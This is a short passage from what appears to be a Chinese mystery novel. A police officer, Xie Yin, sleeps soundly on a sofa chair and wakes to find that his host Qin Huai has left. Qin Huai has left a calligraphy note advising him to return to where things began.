谢隐蹑手蹑脚洗好了碗,终于,关上灯,窝进了沙发椅里。 柔软又充满包裹性的触感给了谢隐前所未有的安全感,让他安心把自己交付给黑夜。 出奇的,被梦魇困扰了多日的谢隐,一夜无梦,沉沉的睡了过去。 一早醒来时,天已大亮,谢隐舒展了筋骨,还怕吵醒秦淮时,才发觉秦淮已经出门了。 沙发椅旁边的角几上放着张字条,谢隐自嘲,他这是睡得多稳? 清晨的阳光和煦又不夺目,落在那行虬劲有力的字上。竟然是瘦金体。 “谢警官,如果一筹莫展,不妨回到最初的地方。”